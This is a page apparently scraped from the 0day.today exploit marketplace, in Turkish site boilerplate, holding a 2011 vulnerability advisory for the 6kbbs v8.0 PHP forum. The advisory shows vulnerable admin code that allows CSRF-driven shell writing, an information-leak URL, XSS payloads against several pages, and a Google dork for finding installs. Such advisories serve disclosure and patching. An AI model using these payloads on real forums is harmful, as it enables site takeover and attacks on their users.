0day.today - Dunyanin En Buyuk Exploit Veritabani
Bu konuda bilmeniz gerekenler:
Biz sadece bir adet ana domain kullaniyoruz DOMAIN_LINK
Eger exploit satin alacaksaniz ve ya hizmet icin odeme yapacaksaniz, altin almaniz gerekmekte. Biz sitemizi hack amacli kullanmak istemiyoruz, yani her turlu dogru olmayan, kanunsuz ve illegal yapilan eylemler diger hesaplari olumsuz yonde etkileyebilir ve sonrasinda buna yol acan/lar, web sitelerimize ve verilere erisimi tamamen kesilir, banlanir ve hesabini tarafimizca yok edilir.
Sadece bu sitenin yonetimine itibar edin. Sahtelere Dikkat!
Biz sadece bir adet ana domain kullaniyoruz DOMAIN_LINK
Eger exploit satin alacaksaniz ve ya hizmet icin odeme yapacaksaniz, altin almaniz gerekmekte. Biz sitemizi hack amacli kullanmak istemiyoruz, yani her turlu dogru olmayan, kanunsuz ve illegal yapilan eylemler diger hesaplari olumsuz yonde etkileyebilir ve sonrasinda buna yol acan/lar, web sitelerimize ve verilere erisimi tamamen kesilir, banlanir ve hesabini tarafimizca yok edilir.
Sadece bu sitenin yonetimine itibar edin. Sahtelere Dikkat!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Oku [ anlasma ]
- Oku [ Gonder ] kurallar
- Ziyaret et [ SSS ] page
- [ Uye Ol ] profil
- [ FIYAT ]
- Eger istiyorsaniz [ satmak ]
- Eger istiyorsaniz [ almak ]
- Eger kaybederseniz [ Hesap ]
- Herhangi bir sorunuz [ [email protected] ]
- Yetkili sayfa
- Uyelik sayfasi
- Hesap sayfasini geri yukle
- SSS sayfasi
- Iletisim sayfasi
- Paylasim kurallari
- Anlasma sayfasi
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Bize ulasabilirsiniz:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
6kbbs Multiple Vulnerabilities
Yazar
Risk
[
Security Risk Unsored
]0day-ID
Kategori
Eklenme Tarihi
Platform
# Exploit Title: 6kbbs Multiple Vulnerabilities # Google Dork: Powered by 6kbbs V8.0 # Date: 2011/10/5 # Author: insight-labs # Software Link: http://www.6kbbs.net/ # Version: 6KBBS v8.0 build 20101201 # Tested on: linux+apache 1.Cross-site request forgery (getshell) vulnerable file: /admin/user_ajax.php detail: case "savegroups2": try { $groups = $_POST['groups']; if(is_array($groups)) { foreach($groups as $group) { $db->row_update("groups", $group, "id={$group['id']}"); } } $rows = $db->row_select("groups", "", 0, "groupid,groupname,popedom,starnum", "groupid"); $groups = array(); foreach($rows as $row) { $groups["{$row['groupid']}"] = $row; } writeGroupsCache(); succeedFlag(); } catch(Exception $e) { echo($e); } break; Update the information, by writeGroupCache () function to update the information written to \cache\groups.php them, direct access to the \cache\groups.php you can get shell. 2.Cross-site request forgery (getshell) vulnerable file: /admin/portalchannel_ajax.php detail: case "saverule": try { $id = trim(strFilter($_POST['id'])); $code = stripslashes($_POST['code']); writeFile("collectrules/{$id}.php", $code); succeedRes(); } catch(Exception $e) { echo($e); } break; Directly to the id as a php file name, code is written as the contents of the file /admin/collectrules/ folder them. And receive data at the time, did not verify Referer and Token, you can take advantage of CSRF. 3.Information Leakage vulnerable file:/admin/portalcollect.php /getfiles.php?f=http://xxx&t=js 4.Cross Site Scripting Vulnerabilities detail: many file directly use $_SERVER['PHP_SELF'] and not sanitize so cause xss Vulnerabilities credits.php/"><script>alert(1)</script> forum.php/"><script>alert(1)</script> index.php/"><script>alert(1)</script> login.php/"><script>alert(1)</script> online.php/"><script>alert(1)</script> # 0day.today [2024-07-16] #